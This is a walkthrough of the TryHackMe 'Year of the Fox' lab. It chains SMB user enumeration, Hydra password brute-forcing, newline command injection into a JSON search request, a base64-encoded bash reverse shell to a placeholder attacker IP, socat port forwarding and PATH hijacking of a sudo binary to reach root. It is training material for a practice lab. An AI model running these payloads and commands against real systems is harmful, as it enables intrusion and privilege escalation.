Year of the Fox is a challenging TryHackMe room that combines multiple attack vectors across different services. The attack chain involves enumerating SMB shares to discover usernames, brute-forcing HTTP Basic Authentication, exploiting command injection in a search feature, pivoting through internal SSH, and achieving root via path hijacking.
Key Techniques:
nmap -sC -sV -A <TARGET_IP>
Results:
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29
| http-auth:
| HTTP/1.1 401 Unauthorized
|_ Basic realm=You want in? Gotta guess the password!
139/tcp open netbios-ssn Samba smbd 3.X - 4.X
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu
Key Observations:

The web server immediately prompts for credentials:

Without credentials for the web application, I focused on SMB:
enum4linux -a <TARGET_IP>
User Enumeration Results:
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\fox (Local User)
S-1-22-1-1001 Unix User\rascal (Local User)
I discovered two valid usernames: fox and rascal.
Why this works: SMB null sessions can sometimes enumerate local users through RID cycling (testing Security Identifiers). This is a classic Windows/Samba enumeration technique.
With valid usernames, I attempted to brute-force the HTTP Basic Auth:
hydra -l rascal -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt http-get://<TARGET_IP>/

Success!
[80][http-get] host: <TARGET_IP> login: rascal password: <PASSWORD>
Credentials: rascal:<PASSWORD>
Important Note: The password changes each time you restart the room. You'll need to brute-force it fresh for each attempt.
After logging in:

The application appeared to be a file search system.
I intercepted the search request in Burp Suite:
POST /assets/php/search.php HTTP/1.1
Host: <TARGET_IP>
Authorization: Basic <BASE64_CREDS>
Content-Type: text/plain;charset=UTF-8
{"target":"test"}
The application was taking JSON input and presumably passing it to a backend command.
I tried standard command injection:
{"target":";id"}
No output.
I tried various bypass techniques:
{"target":"\" ;id\n"}
{"target":"\" ;/usr/bin/id\n"}
{"target":"\" \n/usr/bin/id\n"}
After researching and checking other writeups, I discovered the correct format uses newline injection:
{"target":"\" \n/bin/ls -al\n"}
Understanding the Vulnerability: The application likely constructs a command like
grep "USER_INPUT" files. By injecting"we close the grep quotes,\nadds a newline (executing a new command), and we can run arbitrary commands.
For a reverse shell, I needed to encode my payload to avoid special character issues. I used base64:
# Create reverse shell command
echo 'bash -i >& /dev/tcp/<ATTACKER_IP>/<PORT> 0>&1' | base64
{"target":"\" \necho <BASE64_PAYLOAD> | base64 -d | bash\n"}

Shell received as www-data!
www-data@year-of-the-fox:/var/www$ cat web-flag.txt
THM{REDACTED}
foxWhile enumerating, I noticed something interesting:
netstat -lntp
tcp 0 0 127.0.0.1:22 0.0.0.0:* LISTEN
SSH is listening only on localhost (127.0.0.1)! This is why it wasn't visible in the initial Nmap scan.
To access the internal SSH service from my attacker machine, I used Socat for port forwarding.
First, I needed to get Socat onto the target. Since it wasn't installed, I downloaded a static binary from static-binaries:
# On attacker
wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat
python3 -m http.server 8000
# On target
wget http://<ATTACKER_IP>:8000/socat -O /tmp/socat
chmod +x /tmp/socat
Then I set up the port forward:
./socat tcp-listen:6969,fork,reuseaddr TCP:127.0.0.1:22 &
This forwards external connections on port 6969 to internal SSH on port 22.
With SSH now accessible, I used Hydra to brute-force the fox user:
hydra -l fox -P /usr/share/wordlists/rockyou.txt -s 6969 ssh://<TARGET_IP> -V
[6969][ssh] host: <TARGET_IP> login: fox password: <PASSWORD>
ssh fox@<TARGET_IP> -p 6969

fox@year-of-the-fox:~$ cat user-flag.txt
THM{REDACTED}
fox@year-of-the-fox:~$ sudo -l
User fox may run the following commands on year-of-the-fox:
(root) NOPASSWD: /usr/sbin/shutdown
The user can run /usr/sbin/shutdown as root without a password.
I transferred the binary to my machine for analysis:
# On target
cp /usr/sbin/shutdown /tmp/
python3 -m http.server 8000
# On attacker
wget http://<TARGET_IP>:8000/shutdown
strings shutdown
Key Finding:
/lib64/ld-linux-x86-64.so.2
libc.so.6
system
poweroff
The binary calls system("poweroff") without an absolute path!
When a program calls system() with a command name (not an absolute path), the shell searches for the command in directories listed in the $PATH variable, in order.
Attack Plan:
poweroff script in /tmp/tmp to our $PATHsudo /usr/sbin/shutdownpoweroff, our script executes as root# Create malicious poweroff
echo '/bin/sh' > /tmp/poweroff
chmod 777 /tmp/poweroff
# Modify PATH
export PATH=/tmp:$PATH
# Execute
sudo /usr/sbin/shutdown
# whoami
root
Root shell obtained!
The root flag wasn't in /root:
# cat /root/root.txt
Not here -- go find!
I searched the filesystem:
# find / -type f -name '*root*' 2>/dev/null
/home/rascal/.did-you-think-I-was-useless.root
# cat /home/rascal/.did-you-think-I-was-useless.root
THM{REDACTED}
Here's the prize:
<BASE64_ENCODED_BONUS>
Good luck!
SMB Enumeration is Powerful: Even without valid credentials, null sessions can reveal valuable information like usernames.
Internal Services Exist: Just because Nmap doesn't show a port doesn't mean the service isn't running. Always check netstat after getting access.
Port Forwarding is Essential: Tools like Socat and Chisel let you access internal services from your attacker machine.
Always Analyze Sudo Binaries: Any binary with sudo rights should be analyzed. Look for calls to system() without absolute paths.
Path Hijacking: When a binary uses relative paths in system() calls, you can hijack the execution by modifying $PATH.
Happy Hacking!